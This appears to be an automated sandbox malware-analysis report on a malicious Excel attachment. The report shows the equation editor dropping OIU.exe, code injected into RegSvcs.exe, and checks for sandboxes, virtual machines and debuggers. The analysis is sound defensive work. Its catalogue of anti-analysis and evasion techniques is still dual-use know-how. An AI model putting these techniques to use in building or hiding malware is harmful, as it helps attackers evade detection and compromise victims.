Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: Order Request1_5_24.xlam.xlsx Initial sample: OLE zip file path = xl/media/image1.jpg
Source: Order Request1_5_24.xlam.xlsx Initial sample: OLE zip file path = xl/calcChain.xml
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: _.pdb source: RegSvcs.exe, 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: OIU.exe, 00000003.00000003.457625635.0000000002B10000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000003.00000003.457568121.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000005.00000003.460414972.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000005.00000003.460320894.0000000002990000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000007.00000003.462048122.0000000002B20000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000007.00000003.462023023.0000000002950000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000009.00000003.463861681.00000000025F0000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 00000009.00000003.463799420.0000000002A60000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 0000000B.00000003.465588880.00000000029E0000.00000004.00001000.00020000.00000000.sdmp, OIU.exe, 0000000B.00000003.465720630.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source: Order Request1_5_24.xlam.xlsx Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 3_2_00BA42DE
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC0A76 push ecx; ret 3_2_00BC0A89
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C35959 push ebp; ret 3_2_00C3595F
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C35968 push edi; ret 3_2_00C3596B
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C3596C push ebp; ret 3_2_00C3596F
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C35971 push esi; ret 3_2_00C35973
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C35975 push edi; ret 3_2_00C35977
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C35978 push ebp; ret 3_2_00C3597B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0041C40C push cs; iretd 12_2_0041C4E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00423149 push eax; ret 12_2_00423179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0041C50E push cs; iretd 12_2_0041C4E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_004231C8 push eax; ret 12_2_00423179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0040E21D push ecx; ret 12_2_0040E230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0041C6BE push ebx; ret 12_2_0041C6BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_002E475C push ebx; retf 12_2_002E4762
Source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Q7YThFiogb6dB', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Q7YThFiogb6dB', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Q7YThFiogb6dB', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Q7YThFiogb6dB', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Q7YThFiogb6dB', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\OIU.exe Jump to dropped file
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BBF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 3_2_00BBF98E
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C31C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 3_2_00C31C41
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found API chain indicative of sandbox detection
Source: C:\Users\user\AppData\Roaming\OIU.exe Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear, 12_2_004019F0
Found evasive API chain (may stop execution after checking a module file name)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Roaming\OIU.exe API coverage: 4.3 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1912 Thread sleep time: -120000s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 3_2_00C0DBBE
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BDC2A2 FindFirstFileExW, 3_2_00BDC2A2
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C168EE FindFirstFileW,FindClose, 3_2_00C168EE
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 3_2_00C1698F
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 3_2_00C0D076
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 3_2_00C0D3A9
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C19642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 3_2_00C19642
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 3_2_00C1979D
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C19B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 3_2_00C19B2B
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C15C97 FindFirstFileW,FindNextFileW,FindClose, 3_2_00C15C97
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 3_2_00BA42DE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe API call chain: ExitProcess graph end node
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1EAA2 BlockInput, 3_2_00C1EAA2
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BD2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_00BD2622
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear, 12_2_004019F0
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 3_2_00BA42DE
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0352088E mov edx, dword ptr fs:[00000030h] 2_2_0352088E
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC4CE8 mov eax, dword ptr fs:[00000030h] 3_2_00BC4CE8
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00113500 mov eax, dword ptr fs:[00000030h] 3_2_00113500
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00113560 mov eax, dword ptr fs:[00000030h] 3_2_00113560
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00111ED0 mov eax, dword ptr fs:[00000030h] 3_2_00111ED0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 5_2_001D3500 mov eax, dword ptr fs:[00000030h] 5_2_001D3500
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 5_2_001D1ED0 mov eax, dword ptr fs:[00000030h] 5_2_001D1ED0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 5_2_001D3560 mov eax, dword ptr fs:[00000030h] 5_2_001D3560
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 7_2_00153500 mov eax, dword ptr fs:[00000030h] 7_2_00153500
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 7_2_00151ED0 mov eax, dword ptr fs:[00000030h] 7_2_00151ED0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 7_2_00153560 mov eax, dword ptr fs:[00000030h] 7_2_00153560
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 9_2_00213500 mov eax, dword ptr fs:[00000030h] 9_2_00213500
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 9_2_00213560 mov eax, dword ptr fs:[00000030h] 9_2_00213560
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 9_2_00211ED0 mov eax, dword ptr fs:[00000030h] 9_2_00211ED0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 11_2_00551ED0 mov eax, dword ptr fs:[00000030h] 11_2_00551ED0
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 11_2_00553560 mov eax, dword ptr fs:[00000030h] 11_2_00553560
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 11_2_00553500 mov eax, dword ptr fs:[00000030h] 11_2_00553500
Contains functionality which may be used to detect a debugger (GetProcessHeap)
